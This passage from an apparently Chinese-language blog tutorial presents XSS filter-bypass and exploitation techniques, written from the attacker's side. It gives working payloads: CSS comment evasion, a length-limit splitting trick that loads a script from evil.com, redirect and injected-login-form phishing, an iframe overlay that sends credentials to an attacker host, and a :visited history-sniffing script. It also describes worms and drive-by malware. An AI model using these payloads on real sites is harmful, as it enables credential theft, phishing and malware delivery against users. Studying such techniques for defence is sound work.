图片地址不存在,加载失败的时候就会运行后面的脚本

也可以在别的位置使用:
onload加载完成时运行
oncheck点击时运行
onmousemove当鼠标移动时运行

  • 6 注释过滤

在样式表中,/**/中间的内容会被浏览器忽略,在css中,我们可以使用expression执行js代码,这个时候遇到黑名单过滤,我们就可以通过添加无意义的注释符号来避开过滤。

1
2
<div style="xss:expr/*xss*/ession(alert('xss'))">
Copy
  • 7 拆分跨站

有的网站输入框对输入长度有所限制,无法构造出完整的xss代码,这个时候有一种十分巧妙的拆分法可供选择,如我们要输入:

1
2
document.write('<script src=http://www.evil.com/hack.js></script>')
Copy

但是输入框限制每次只能输入30个字符时,我们可以:

1
2
3
4
5
6
7
8
9
10
11
12
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+'src=htt'</script>
<script>z=z+'p://www'</script>
<script>z=z+'.evil.c'</script>
<script>z=z+'om/hack'</script>
<script>z=z+'.js></s'</script>
<script>z=z+'cript>"'</script>
<script>z=z+')'</script>
<script>z=z+'eval(z)'</script>
Copy

这样就成功将代码拼接在z中,再通过eval(z)执行代码。

0x03 cookie劫持

cookie劫持在上一篇的跨站脚本攻击中已经详细演示过,具体方法就是通过用户点击链接访问页面,执行恶意xss代码然后将用户的浏览器cookie发送到我们自己的远程服务器,然后通过cookie来登陆。

0x04 xss钓鱼

xss钓鱼是xss最常用的利用方式,有很多种实现方式:

  • xss重定向钓鱼

我们在一个网页找到了xss漏洞:

1
2
http://www.123.com/index.php?input=[Expliot]
Copy

构造如下代码:

1
2
http://www.123.com/index.php?input=<script>document.location.href="http://www.hack.com"</script>
Copy

就可以通过xss重定向,将网页跳转到www.hack.com

  • HTML注入式钓鱼

仍然假设有如下漏洞页面

1
2
http://www.123.com/index.php?input=[Expliot]
Copy

然后我们在input里面写入一段html代码,就会在正常的网页中增添一个我们构造的登陆表单:

1
2
3
4
5
http://www.hack.com/index.php?input="'<html><head><title>login</title></head>
<body><div style="text-align: center;"><form
Method="POST" Action="phishing.php" Name="form"><br /><br/>Login:<br/>
<input name="login" /><br />Password:<br/><input name="Password" type="password" /><br /><br /><input name="Valid" value="Ok" type="submit" /><br /></form></div></body></html>
Copy

然后通过这个表单覆盖网页中的部分位置,就很容易引诱用户输入账号密码。

  • iframe钓鱼

iframe是HTML标签,作用是文档中的文档,或者浮动的框架(FRAME)。iframe元素会创建包含另外一个文档的内联框架。
我们先来看一个iframe的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<head>
<style>body{
margin:0px;
border:0px;
padding:0px;
}
iframe{border:0px;
}
</style>
</head>
<body>
<iframe src="http://www.baidu.com/" id="iframepage" name="iframepage" width="100%" height="100%" ></iframe>
</body>
</html>
Copy

这样我们可以用百度页面覆盖整个网页。

而xss-iframe钓鱼就是攻击者在有xss的网站中用iframe框架调用自己的黑页,覆盖整个页面或者登陆框,将数据传给自己。
我们可以先在自己的www.hack.com搭建好完全和对方相同的网页,并且在后台写好接收保存账号密码的php文件,然后将style和iframe写在xss中

1
2
3
4
<style>body{margin:0px;border:0px;padding:0px;}
iframe{border:0px;}
<iframe src="http://www.hack.com/"width="100%" height="100%"></iframe>
Copy

就会覆盖整个网页,并且将数据传给我们的网站。而且用户访问这个网站时url仍然是原本的url。

0x05 http history hack

css中有个属性visited,可以设置访问过的链接样式,然后xss可以通过遍历检查css中的visited属性,来查看一个用户是否访问过某些网站。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
< script >
var websites = [要检测的访问过的网址列表(自己补充)];
//遍历每个URL
for (var i = 0; i < websites.length: i++) {
var link = document.createElement("a");
link.id = "id" + i;
link.href = websites[i];
link.innerHTML = websites[i];
document.write('<style>');
document.write('#id' + i + ":visited {color:#FF0000;}");
document.write('</style>');
document.body.appendChild(link);
var color = document.defaultView.getComputedStyle(link, null).getPropertyValue("color");
document.body.removeChild(link);
if (color == "rgb(255,0,0)") { //visited
var item = document.createElement('li');
item.appendChild(link);
document.getElementById('visited').appendChild(item);
} else { //Not visited
var item = document.createElement('li');
item.appendChild(link);
document.getElementById('notvisited').appendChild(item);
}
} < /script>/
Copy

0x06 xss网页挂马

在存储型xss中,我们可以将自己的xss代码提交上去,然后链接我们的木马,这样每个访问有xss页面的人都会触发木马。

0x07 xss Wrom

xss wrom即xss蠕虫,在一些存在存储型xss漏洞的大型社交网站,如果我们将xss代码的功能写成让访问到的人,在自己的主页里或其他有权限的页面提交一个一样的xss代码,这样浏览他的主页的人也会受到xss wrom影响继续写xss代码,这样就会很快传遍整个网络,危害极大。
而且xss蠕虫通常使用了大量的Ajax技术,即异步请求,无须刷新即可传输数据,隐蔽性高,传播速度极快。

链接

1
2
3
4
https://www.cnblogs.com/wjrblogs/p/12341190.html
https://www.cnblogs.com/wjrblogs/p/12341190.html
https://virusday.github.io/2020/11/22/XSS%E7%BB%95%E8%BF%87%E6%80%BB%E7%BB%93/XSS%E5%91%BD%E4%BB%A4%E6%80%BB%E7%BB%93/
https://uuzdaisuki.com/2018/04/24/XSS%E7%BB%95%E8%BF%87%E5%92%8C%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/